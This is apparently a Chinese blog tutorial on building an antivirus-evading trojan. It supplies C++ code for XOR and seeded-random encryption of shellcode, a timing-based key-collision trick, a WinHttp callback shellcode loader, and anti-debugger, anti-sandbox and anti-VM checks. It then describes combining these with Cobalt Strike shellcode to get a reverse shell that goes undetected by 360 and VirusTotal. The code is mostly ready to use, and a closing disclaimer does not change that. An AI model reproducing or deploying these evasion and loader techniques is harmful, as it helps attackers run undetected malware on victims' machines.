shellcode随机值时间碰撞解密大法免杀
前言
前一篇通过aes加密shellcode的免杀在主机上运行有bug,提示缺少xxx.dll文件,这是由于aes的实现依赖于第三方库openssl导致的:
于是我重新研究了自定义算法——随机值时间碰撞解密大法。不再依赖于第三方库而且这名字一听就很diao的样子😂。
效果图
这是新的效果图:
前置知识
免杀马的实现就是将shellcode加密、shellcode加载器、反沙箱及编译器编译等几种技术组合在一起实现免杀。
shellcode加密有异或加密、base64加密、aes加密、自定义加解密等几种。异或加密和base64加密也就是最简单的加密,也就是最容易被查杀的两种加密在这里暂且不考虑,普通的自定义加解密也会被SecureAge、微软等逆推能力很强的杀软查杀。因为aes依赖外部库有bug,这里重新考虑自定义算法,不同的是这里要将自定义算法的密钥做一下转换简称——随机值时间碰撞解密大法。。。
下面是自定义的异或随机值加解密:
#include <iostream>
using namespace std;
unsigned char* encrypt(unsigned char* input, int len, unsigned int key) {
unsigned char* output = new unsigned char[len];
srand(key);
for (int i = 0; i < len; i++) {
output[i] = input[i] ^ key;
output[i] = output[i] ^ (rand() % len + 1);
}
return output;
}
unsigned char* decrypt(unsigned char* input, int len, unsigned int key) {
unsigned char* output = new unsigned char[len];
srand(key);
for (int i = 0; i < len; i++) {
output[i] = input[i] ^ (rand() % len + 1);
output[i] = output[i] ^ key;
}
return output;
}
int main() {
unsigned char input[] = "Hello, World!";
unsigned int key = 123456;
int len = sizeof input - 1;
cout << "Original message: " << input << endl;
unsigned char* encrypted = encrypt(input, len, key);
cout << "Encrypted message: ";
for (int i=0; i < len; i++)
printf("\\x%x", encrypted[i]);
cout << endl;
unsigned char* decrypted = decrypt(encrypted, len, key);
cout << "Decrypted message: ";
for (int i = 0; i < len; i++)
printf("%c", decrypted[i]);
delete[] encrypted;
delete[] decrypted;
return 0;
}
具体加密过程:先异或加密再用key作为随机值种子生成随机数再异或加密。
后面关于key值的转换:
int i = 500;
while (i--) {
// 获取开始时间
auto start_time = chrono::high_resolution_clock::now();
// 延迟100毫秒
this_thread::sleep_for(chrono::milliseconds(100));
// 获取结束时间
auto end_time = chrono::high_resolution_clock::now();
// 计算时间差
auto elapsed_time = chrono::duration_cast<chrono::milliseconds>(end_time - start_time);
srand(time(NULL));
// 密钥454545先减去100毫秒,再减去15得454430,再加上时间差和0-30的随机数碰撞出原key
unsigned char* decrypted = decrypt(lpAddress, sizeof lpAddress - 1, 454430 + elapsed_time.count() + (rand() % 30));
if (decrypted[0] == 0xfc and decrypted[1] == 0x48) {
// shellcode loader
// ......
break;
}
}
密钥454545先减去100毫秒,再减去15得454430,再加上时间差和0-30的随机数重复500次保证碰撞出原key,再用if判断前两个字符是否与原shellcode相等,相等则加载shellcode,最后break退出循环。
由于加入了随机值和Sleep()及now()等这类计算时间的函数因此也具有反沙箱的效果,沙箱一般有加速时间的效果,这可能会导致Sleep及now()失效,导致无法碰撞出原key,关于反沙箱后面还会讲到。
前面讲了shellcode加解密,后面讲shellcode加载器。
最好用免杀更强的函数回调shellcode加载器,如http回调加载:
#include<Windows.h>
#include<winhttp.h>
#pragma comment(lib,"Winhttp.lib")
unsigned char lpAddress[] = "\xfc...";
int main(INT argc, char* argv[]) {
DWORD lpflOldProtect;
VirtualProtect(lpAddress, sizeof lpAddress / sizeof lpAddress[0], PAGE_EXECUTE_READWRITE, &lpflOldProtect);
HINTERNET hSession = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hSession, (WINHTTP_STATUS_CALLBACK)&lpAddress, WINHTTP_CALLBACK_FLAG_HANDLES, 0);
WinHttpCloseHandle(hSession);
return 0;
}
g++编译命令:
g++ scl.cpp -o scl.exe -lwinhttp
shellcode加载器讲完,然后是反沙箱。反沙箱操作参考微信上的文章以及chatgpt给出的代码,具体效果如何未知,不过微步的沙箱是通过了的。
(1)简单监测是否是被调试:
#include <Windows.h>
#include <iostream>
using namespace std;
int main() {
if (IsDebuggerPresent()) {
cout << "调试器检测到当前程序" << endl;
return 1;
}
BOOL bDebuggerPresent = FALSE;
if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &bDebuggerPresent) && bDebuggerPresent) {
cout << "远程调试器检测到当前程序" << endl;
return 1;
}
if (GetSystemMetrics(SM_REMOTESESSION) != 0) {
cout << "当前程序正在远程桌面会话中" << endl;
return 1;
}
return 0;
}
(2)监测时间流速:
#include <iostream>
#include <chrono>
#include <thread>
using namespace std;
bool detect_sandbox() {
bool is_sandbox = false;
auto start_time = chrono::high_resolution_clock::now();
this_thread::sleep_for(chrono::milliseconds(100));
auto end_time = chrono::high_resolution_clock::now();
auto elapsed_time = chrono::duration_cast<chrono::milliseconds>(end_time - start_time);
if (elapsed_time.count() < 100) {
is_sandbox = true;
}
return is_sandbox;
}
int main() {
if (detect_sandbox()) {
cout << "This program may be running in a sandbox!" << endl;
} else {
cout << "This program is not running in a sandbox." << endl;
}
return 0;
}
沙箱一个都有时间加速,通过这段代码判断时间是否被加速来判断是否在沙箱。
下面是通过检测硬件来反虚拟化,利用虚拟机与真实物理机之间的差异来检测,这将导致无法在虚拟机中运行。
(3)检测内存页数量
#include <Windows.h>
#include <iostream>
using namespace std;
int GetNumPages() {
// 获取系统页面文件大小信息
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
if (!GlobalMemoryStatusEx(&statex)) {
cerr << "Failed to get system memory status." << endl;
return 1;
}
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
return statex.ullTotalPageFile / systemInfo.dwPageSize;
}
int main() {
int numPages = GetNumPages();
cout << numPages << endl;
if (numPages < 4000000) {
cout << "内存页小于正常值,可能处于虚拟机环境" << endl;
return 1;
}
return 0;
}
(4)检测硬盘数量
#include <Windows.h>
#include <iostream>
using namespace std;
int GetNumDrives() {
DWORD drives = GetLogicalDrives();
int numDrives = 0;
for (char i = 0; i < 26; i++) {
if (drives & (1 << i)) {
char path[4];
sprintf_s(path, "%c:\\", 'A' + i);
UINT type = GetDriveTypeA(path);
if (type == DRIVE_FIXED || type == DRIVE_REMOVABLE) {
numDrives++;
}
}
}
return numDrives;
}
int main() {
int numDrives = GetNumDrives();
cout << numDrives << endl;
if (numDrives < 2) {
cout << "硬盘数量小于正常值,可能处于虚拟机环境" << endl;
return 1;
}
return 0;
}
(5)检测CPU数量
#include <Windows.h>
#include <iostream>
using namespace std;
int main() {
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
cout << systemInfo.dwNumberOfProcessors << endl;
if (systemInfo.dwNumberOfProcessors <= 4) {
cout << "CPU数量小于正常值,可能处于虚拟机环境" << endl;
return 1;
}
return 0;
}
(6)检测网络适配器数量
#include <iostream>
#include <Winsock2.h>
#include <iphlpapi.h>
#include <windows.h>
using namespace std;
#pragma comment(lib, "iphlpapi.lib")
int GetNumAdapters() {
DWORD dwSize = 0;
GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, NULL, &dwSize);
PIP_ADAPTER_ADDRESSES pAddresses = (PIP_ADAPTER_ADDRESSES)new BYTE[dwSize];
GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, pAddresses, &dwSize);
int numAdapters = 0;
PIP_ADAPTER_ADDRESSES pCurrAddresses = pAddresses;
while (pCurrAddresses) {
if (pCurrAddresses->OperStatus == IfOperStatusUp) {
numAdapters++;
}
pCurrAddresses = pCurrAddresses->Next;
}
return numAdapters;
}
int main() {
int numAdapters = GetNumAdapters();
cout << numAdapters << endl;
if (numAdapters < 2) {
cout << "网络适配器数量小于正常值,可能处于虚拟机环境" << endl;
return 1;
}
return 0;
}
最后是编译器的选择也是重要的一点,有visual studio和g++,选择g++编译,g++编译比vs低两个数量,vs打包空exe在vt有3个报毒,使用g++是1个报毒,但是g++的缺点也很明显g++打包大小3m,vs打包大小20k。
组合免杀马
将前面的几种技术组合在一起就是一个免杀马。
先从cs导出c语言的shellcode,用前面的自定义的异或随机值加解密。
复制前面16进制的代码到shelllcode加载器:
再复制前面的反沙箱代码到shellcode加载器:
key用随机值时间碰撞解密大法:
到这里免杀木马基本完成,测试以下能否反弹shell,用g++编译:
g++ scl.cpp -o scl.exe -lwinhttp -liphlpapi
在虚拟机中测试:
提示是这是虚拟机同时终止运行。
放主机上测试,主机上的360没有报毒:
放VT和微步就是前面的截图。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。